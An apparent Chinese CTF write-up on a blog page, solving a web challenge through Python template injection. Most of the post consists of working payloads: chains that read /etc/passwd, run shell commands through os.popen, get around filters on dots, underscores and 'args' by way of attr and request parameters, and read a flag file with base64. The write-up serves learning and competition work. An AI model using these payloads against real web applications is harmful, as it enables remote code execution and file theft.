您当前的位置: 首页 > 

yu22x

暂无认证

  • 3浏览

    0关注

    109博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

xmctf web11-考核(模板注入绕过)

yu22x 发布时间:2020-06-27 16:32:05 ,浏览量:3

web11-考核(模板注入绕过)

输入name=1发现存在回显,猜测为模板注入,经过测试发现过滤了 . _ 和一些关键字 py2模板注入常见payload ().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read() ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' ) ''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()' ) 过滤了.可以用getattr或者attr绕过 例如 ''.__class__可以写成 getattr('',"__class__")或者 ''|attr("__class__") 过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过 因为还过滤了 args所以我们用request['values']和attr结合绕过 例如''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__ 最终payload?name={{ ()|attr(request['values']['x1'])|attr(request['values']['x2'])| attr(request['values']['x3'])()|attr(request['values']['x6'])(233)| attr(request['values']['x4'])| attr(request['values']['x5'])| attr(request['values']['x6'])(request['values']['x7'])| attr(request['values']['x6'])(request['values']['x8'])(request['values']['x9']) }} 然后post传入x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__getitem__&x7=__builtins__&x8=eval&x9=__import__("os").popen('想要执行的命令').read() 发现在根目录下又flag但是打不开,我这里使用的base64编码绕过的 cat /fl4g|base64

关注
打赏
1617522777
查看更多评论
立即登录/注册

微信扫码登录

0.0617s